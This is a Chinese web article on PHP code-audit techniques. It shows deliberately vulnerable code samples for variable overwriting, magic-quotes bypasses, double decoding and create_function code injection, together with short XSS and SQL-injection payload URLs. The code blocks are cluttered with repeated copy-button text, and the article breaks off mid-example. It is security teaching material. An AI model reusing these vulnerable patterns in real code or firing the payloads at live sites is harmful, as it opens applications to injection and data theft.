Home > php教程 > php手册 > 高级PHP应用程序漏洞审核技术

高级PHP应用程序漏洞审核技术

WBOY
Release: 2016-06-06 19:59:08
Original
1795 people have browsed it

by: 80vul.com 目录 [隐藏] 1 前言 2 传统的代码审计技术 3 PHP版本与应用代码审计 4 其他的因素与应用代码审计 5 扩展我们的字典 5.1 变量本身的key 5.2 变量覆盖 5.2.1 遍历初始化变量 5.2.2 parse_str()变量覆盖漏洞 5.2.3 import_request_variables()变

  • by: 80vul.com


目录

 [隐藏]
  • 1 前言
  • 2 传统的代码审计技术
  • 3 PHP版本与应用代码审计
  • 4 其他的因素与应用代码审计
  • 5 扩展我们的字典
    • 5.1 变量本身的key
    • 5.2 变量覆盖
      • 5.2.1 遍历初始化变量
      • 5.2.2 parse_str()变量覆盖漏洞
      • 5.2.3 import_request_variables()变量覆盖漏洞
      • 5.2.4 PHP5 Globals
    • 5.3 magic_quotes_gpc与代码安全
      • 5.3.1 什么是magic_quotes_gpc
      • 5.3.2 哪些地方没有魔术引号的保护
      • 5.3.3 变量的编码与解码
      • 5.3.4 二次攻击
      • 5.3.5 魔术引号带来的新的安全问题
      • 5.3.6 变量key与魔术引号
    • 5.4 代码注射
      • 5.4.1 PHP中可能导致代码注射的函数
      • 5.4.2 变量函数与双引号
    • 5.5 PHP自身函数漏洞及缺陷
      • 5.5.1 PHP函数的溢出漏洞
      • 5.5.2 PHP函数的其他漏洞
      • 5.5.3 session_destroy()删除文件漏洞
      • 5.5.4 随机函数
    • 5.6 特殊字符
      • 5.6.1 截断
        • 5.6.1.1 include截断
        • 5.6.1.2 数据截断
        • 5.6.1.3 文件操作里的特殊字符
  • 6 怎么进一步寻找新的字典
  • 7 DEMO
  • 8 后话
  • 9 附录

前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。

针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。

我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)



传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。

这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。



PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6   目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)


由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。


其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。


扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。


变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//key.php?aaaa'aaa=1&bb'b=2 </span>
    Copy after login
    Copy after login
  3. <span>//print_R($_GET); </span>
    Copy after login
    Copy after login
  4.  <span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
    Copy after login
    Copy after login
  5. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  6.         <span>print</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
    Copy after login
    Copy after login
  7. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

  1. <span>key</span><span>.</span>php?<span>script<span>></span>alert<span>(</span><span>1</span><span>)</span><span>;</span><span></span><span>=</span><span>1</span><span>&</span>bbb<span>=</span><span>2</span></span>
    Copy after login

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码



变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:


遍历初始化变量

请看如下代码:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//var.php?a=fuck</span>
    Copy after login
  3. <span>$a</span><span>=</span><span>'hi'</span><span>;</span>
    Copy after login
  4. foreach<span>(</span>$_GET as $key => $value<span>)</span> <span>{</span>
    Copy after login
  5.         <span>$$key</span> <span>=</span> <span>$value</span><span>;</span>
    Copy after login
  6. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7. <span>print</span> <span>$a</span><span>;</span>
    Copy after login
    Copy after login
  8. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分的代码:

  1. <span>$chs</span> <span>=</span> <span>''</span><span>;</span>
    Copy after login
  2. if<span>(</span>$_POST && $charset != 'utf-8'<span>)</span> <span>{</span>
    Copy after login
  3.         <span>$chs</span> <span>=</span> <span>new</span> Chinese<span>(</span><span>'UTF-8'</span><span>,</span> <span>$charset</span><span>)</span><span>;</span>
    Copy after login
  4.         foreach<span>(</span>$_POST as $key => $value<span>)</span> <span>{</span>
    Copy after login
  5.                 <span>$$key</span> <span>=</span> <span>$chs</span><span>-></span><span>Convert</span><span>(</span><span>$value</span><span>)</span><span>;</span>
    Copy after login
  6.         <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7.         <span>unset</span><span>(</span><span>$chs</span><span>)</span><span>;</span>
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


parse_str()变量覆盖漏洞

  1. <span>//var.php?var=new</span>
    Copy after login
  2. <span>$var</span> <span>=</span> <span>'init'</span><span>;</span>                     
    Copy after login
  3. <span>parse_str</span><span>(</span><span>$_SERVER</span><span>[</span><span>'QUERY_STRING'</span><span>]</span><span>)</span><span>;</span> 
    Copy after login
  4. <span>print</span> <span>$var</span><span>;</span>
    Copy after login

该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER'QUERY_STRING'来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

  1. <span>//var.php?var=1&a[1]=var1%3d222</span>
    Copy after login
  2. <span>$var1</span> <span>=</span> <span>'init'</span><span>;</span>
    Copy after login
  3. <span>parse_str</span><span>(</span><span>$a</span><span>[</span><span>$_GET</span><span>[</span><span>'var'</span><span>]</span><span>]</span><span>)</span><span>;</span>
    Copy after login
  4. <span>print</span> <span>$var1</span><span>;</span>
    Copy after login

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计策略(parse_str)
PHP版本要求:无

系统要求:无

审计策略:查找字符parse_str

漏洞审计策略(mb_parse_str)
PHP版本要求:php4系统要求:无

审计策略:查找字符mb_parse_str



import_request_variables()变量覆盖漏洞

  1. <span>//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1</span>
    Copy after login
  2. <span>echo</span> <span>'GLOBALS '</span><span>.</span><span>(</span>int<span>)</span><span>ini_get</span><span>(</span><span>"register_globals"</span><span>)</span><span>.</span><span>"n"</span><span>;</span>
    Copy after login
  3. <span>import_request_variables</span><span>(</span><span>'GPC'</span><span>)</span><span>;</span>
    Copy after login
  4. <span>if</span> <span>(</span><span>$_SERVER</span><span>[</span><span>'REMOTE_ADDR'</span><span>]</span> <span>!=</span> <span>'10.1.1.1'</span><span>)</span> <span>die</span><span>(</span><span>'Go away!'</span><span>)</span><span>;</span>
    Copy after login
  5. <span>echo</span> <span>'Hello admin!'</span><span>;</span>
    Copy after login
漏洞审计策略(import_request_variables)
PHP版本要求:php4系统要求:无

审计策略:查找字符import_request_variables


PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

  1. <span></span>
    Copy after login
  2. <span>// register_globals =ON</span>
    Copy after login
  3. <span>//foo.php?GLOBALS[foobar]=HELLO</span>
    Copy after login
  4. php <span>echo</span> <span>$foobar</span><span>;</span> 
    Copy after login
  5. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

但是很多的程序没有考虑到这点,请看如下代码:

  1. <span>//为了安全取消全局变量</span>
    Copy after login
  2. <span>//var.php?GLOBALS[a]=aaaa&b=111</span>
    Copy after login
  3. if <span>(</span>ini_get<span>(</span>'register_globals'<span>)</span><span>)</span> foreach<span>(</span>$_REQUEST as $k=>$v<span>)</span> unset<span>(</span>$<span>{</span>$k<span>}</span><span>)</span>;
    Copy after login
  4. <span>print</span> <span>$a</span><span>;</span>
    Copy after login
    Copy after login
  5. <span>print</span> <span>$_GET</span><span>[</span>b<span>]</span><span>;</span>
    Copy after login

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 :)


哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计策略($_SERVER变量)
PHP版本要求:无

系统要求:无

审计策略:查找字符_SERVER

2) getenv()得到的变量(使用类似$_SERVER变量)

PHP版本要求:无 系统要求:无 审计策略:查找字符getenv
漏洞审计策略(getenv())

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:

  1. if <span>(</span> !isset<span>(</span> $HTTP_RAW_POST_DATA <span>)</span> <span>)</span> <span>{</span>
    Copy after login
  2.         <span>$HTTP_RAW_POST_DATA</span> <span>=</span> <span>file_get_contents</span><span>(</span> <span>'php://input'</span> <span>)</span><span>;</span>
    Copy after login
  3. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  4. <span>if</span> <span>(</span> <span>isset</span><span>(</span><span>$HTTP_RAW_POST_DATA</span><span>)</span> <span>)</span>
    Copy after login
  5.         <span>$HTTP_RAW_POST_DATA</span> <span>=</span> <span>trim</span><span>(</span><span>$HTTP_RAW_POST_DATA</span><span>)</span><span>;</span>
    Copy after login
漏洞审计策略(数据流)
PHP版本要求:无

系统要求:无

审计策略:查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by

如Discuz!

  1. if<span>(</span>is_array<span>(</span>$msgtobuddys<span>)</span><span>)</span> <span>{</span>
    Copy after login
  2.         <span>$msgto</span> <span>=</span> <span>array_merge</span><span>(</span><span>$msgtobuddys</span><span>,</span> <span>array</span><span>(</span><span>$msgtoid</span><span>)</span><span>)</span><span>;</span>
    Copy after login
  3.                 <span>......</span>
    Copy after login
  4. foreach<span>(</span>$msgto as $uid<span>)</span> <span>{</span>
    Copy after login
  5.         <span>$uids</span> <span>.=</span> <span>$comma</span><span>.</span><span>$uid</span><span>;</span>
    Copy after login
  6.         <span>$comma</span> <span>=</span> <span>','</span><span>;</span>
    Copy after login
  7. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>......</span>
    Copy after login
    Copy after login
  9. <span>$query</span> <span>=</span> <span>$db</span><span>-></span><span>query</span><span>(</span><span>"SELECT m.username, mf.ignorepm FROM <span>{$tablepre}</span>members m</span>
    Copy after login
  10. <span>        LEFT JOIN <span>{$tablepre}</span>memberfields mf USING(uid)</span>
    Copy after login
  11. <span>        WHERE m.uid IN (<span>$uids</span>)"</span><span>)</span><span>;</span>
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:查找数据库操作字符(select,update,insert等等)


变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数:

base64_decode 对使用 MIME base64 编码的数据进行解码
base64_encode 使用 MIME base64 对数据进行编码
rawurldecode 对已编码的 URL 字符串进行解码
rawurlencode 按照 RFC 1738 对 URL 进行编码
urldecode 解码已编码的 URL 字符串
urlencode 编码 URL 字符串
... ...

另外一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

  1. <span>$sql</span> <span>=</span> <span>"SELECT * FROM article WHERE articleid='"</span><span>.</span><span>urldecode</span><span>(</span><span>$_GET</span><span>[</span>id<span>]</span><span>)</span><span>.</span><span>"'"</span><span>;</span>
    Copy after login

当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:

  1. SELECT <span>*</span> FROM article WHERE articleid<span>=</span><span>''</span><span>'</span>
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:查找对应的编码函数


二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

   mysql/oracle转义符号同样是\(我们提交'通过魔术引号变化为\',当我们update进入数据库时,通过转义变为')
   mssql的转义字符为'(所以我们提交'通过魔术引号变化为\',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义) 
Copy after login

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?

漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

  1. <span>[</span>\<span>--></span>\\<span>,</span><span>'-->\',"-->\",null-->\0]</span>
    Copy after login

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:

1)得到原字符(',\,",null])

  1. <span>$order_sn</span><span>=</span><span>substr</span><span>(</span><span>$_GET</span><span>[</span><span>'order_sn'</span><span>]</span><span>,</span> <span>1</span><span>)</span><span>;</span>
    Copy after login
  2.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  3. <span>//提交                 '</span>
    Copy after login
    Copy after login
  4. <span>//魔术引号处理         \'</span>
    Copy after login
    Copy after login
  5. <span>//substr               '</span>
    Copy after login
  6.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7. <span>$sql</span> <span>=</span> <span>"SELECT order_id, order_status, shipping_status, pay_status, "</span><span>.</span>
    Copy after login
    Copy after login
  8.    <span>" shipping_time, shipping_id, invoice_no, user_id "</span><span>.</span>
    Copy after login
    Copy after login
  9.    <span>" FROM "</span> <span>.</span> <span>$ecs</span><span>-></span><span>table</span><span>(</span><span>'order_info'</span><span>)</span><span>.</span>
    Copy after login
    Copy after login
  10.    <span>" WHERE order_sn = '<span>$order_sn</span>' LIMIT 1"</span><span>;</span>
    Copy after login

2)得到“\”字符

  1. <span>$order_sn</span><span>=</span><span>substr</span><span>(</span><span>$_GET</span><span>[</span><span>'order_sn'</span><span>]</span><span>,</span> <span>0</span><span>,</span><span>1</span><span>)</span><span>;</span>
    Copy after login
  2.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  3. <span>//提交                 '</span>
    Copy after login
    Copy after login
  4. <span>//魔术引号处理         \'</span>
    Copy after login
    Copy after login
  5. <span>//substr               \    </span>
    Copy after login
  6.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7. <span>$sql</span> <span>=</span> <span>"SELECT order_id, order_status, shipping_status, pay_status, "</span><span>.</span>
    Copy after login
    Copy after login
  8.    <span>" shipping_time, shipping_id, invoice_no, user_id "</span><span>.</span>
    Copy after login
    Copy after login
  9.    <span>" FROM "</span> <span>.</span> <span>$ecs</span><span>-></span><span>table</span><span>(</span><span>'order_info'</span><span>)</span><span>.</span>
    Copy after login
    Copy after login
  10.    <span>" WHERE order_sn = '<span>$order_sn</span>' and order_tn='"</span><span>.</span><span>$_GET</span><span>[</span><span>'order_tn'</span><span>]</span><span>.</span><span>"'"</span><span>;</span>
    Copy after login

提交内容:

  1. ?order_sn<span>=</span><span>'&order_tn=%20and%201=1/*</span>
    Copy after login

执行的SQL语句为:

  1. SELECT order_id<span>,</span> order_status<span>,</span> shipping_status<span>,</span> pay_status<span>,</span> shipping_time<span>,</span> 
    Copy after login
  2. shipping_id<span>,</span> invoice_no<span>,</span> user_id FROM order_info WHERE order_sn <span>=</span> <span>'\' and </span>
    Copy after login
  3. <span>order_tn='</span> and <span>1</span><span>=</span><span>1</span><span>/*'</span>
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:查找字符串处理函数如substr或者通读代码


变量key与魔术引号

我们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//key.php?aaaa'aaa=1&bb'b=2 </span>
    Copy after login
    Copy after login
  3. <span>//print_R($_GET); </span>
    Copy after login
    Copy after login
  4.  <span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
    Copy after login
    Copy after login
  5.         <span>{</span>
    Copy after login
  6.         <span>print</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
    Copy after login
    Copy after login
  7.         <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

  1. aaaa\<span>'aaa</span>
    Copy after login
  2. <span>bb\'b</span>
    Copy after login

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//key.php?aaaa'aaa[bb']=1 </span>
    Copy after login
  3. <span>print_R</span><span>(</span><span>$_GET</span><span>)</span><span>;</span> 
    Copy after login
  4. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

结果显示:

  1. <span>Array</span> <span>(</span> <span>[</span>aaaa<span>'aaa] => Array ( [bb\'] => 1 ) )</span>
    Copy after login

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略
PHP版本要求:php4和php系统要求:无

审计策略:通读代码

2)当magic_quotes_gpc = Off时,在php5.24下测试显示:

  1. aaaa<span>'aaa</span>
    Copy after login
  2. <span>bb'</span>b
    Copy after login

对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

  1. <span><?php </span> </span>
    Copy after login
    Copy after login
    Copy after login
  2. <span>//keyvul.php?aaa'aa=1'</span>
    Copy after login
  3. <span>//magic_quotes_gpc = Off</span>
    Copy after login
  4.  <span>if</span> <span>(</span><span>!</span><span>get_magic_quotes_gpc</span><span>(</span><span>)</span><span>)</span>
    Copy after login
  5. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  6.  <span>$_GET</span>  <span>=</span> addslashes_array<span>(</span><span>$_GET</span><span>)</span><span>;</span>
    Copy after login
  7. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  9. <span>function</span> addslashes_array<span>(</span><span>$value</span><span>)</span>
    Copy after login
  10. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  11.         <span>return</span> <span>is_array</span><span>(</span><span>$value</span><span>)</span> ? <span>array_map</span><span>(</span><span>'addslashes_array'</span><span>,</span> <span>$value</span><span>)</span> <span>:</span> <span>addslashes</span><span>(</span><span>$value</span><span>)</span><span>;</span>
    Copy after login
  12. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  13. <span>print_R</span><span>(</span><span>$_GET</span><span>)</span><span>;</span>
    Copy after login
  14. <span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
    Copy after login
  15. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  16.         <span>print</span> <span>$key</span><span>;</span>
    Copy after login
  17. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  18. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:

  1. <span>Array</span>
    Copy after login
  2. <span>(</span>
    Copy after login
  3.     <span>[</span>aaa<span>'aa] => 1\'</span>
    Copy after login
  4. <span>)</span>
    Copy after login
  5. <span>aaa'</span>aa
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:

  1. assert<span>(</span><span>)</span>
    Copy after login
  2. call_user_func<span>(</span><span>)</span>
    Copy after login
  3. call_user_func_array<span>(</span><span>)</span>
    Copy after login
  4. create_function<span>(</span><span>)</span>
    Copy after login
  5. 变量函数
    Copy after login
  6. <span>...</span>
    Copy after login

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//how to exp this code</span>
    Copy after login
    Copy after login
  3. <span>$sort_by</span><span>=</span><span>$_GET</span><span>[</span><span>'sort_by'</span><span>]</span><span>;</span>
    Copy after login
  4. <span>$sorter</span><span>=</span><span>'strnatcasecmp'</span><span>;</span>
    Copy after login
  5. $databases=array<span>(</span>'test','test'<span>)</span>;
    Copy after login
  6. <span>$sort_function</span> <span>=</span> <span>'  return 1 * '</span> <span>.</span> <span>$sorter</span> <span>.</span> <span>'($a["'</span> <span>.</span> <span>$sort_by</span> <span>.</span> <span>'"], $b["'</span> <span>.</span> <span>$sort_by</span> <span>.</span> <span>'"]);</span>
    Copy after login
  7. <span>              '</span><span>;</span>
    Copy after login
  8. usort<span>(</span>$databases, create_function<span>(</span>'$a, $b', $sort_function<span>)</span><span>)</span>;
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)


变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

  1. <span>echo</span> <span>"<span>$a</span><span>\n</span>"</span><span>;</span>
    Copy after login
  2. <span>echo</span> <span>'$a\n'</span><span>;</span>
    Copy after login

我们再看如下代码:

  1. <span>//how to exp this code</span>
    Copy after login
    Copy after login
  2. if<span>(</span>$globals['bbc_email']<span>)</span><span>{</span>
    Copy after login
  3.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  4. $text = preg_replace<span>(</span>
    Copy after login
  5.                 array<span>(</span>"/\[email=(.*?)\](.*?)\[\/email\]/ies",
    Copy after login
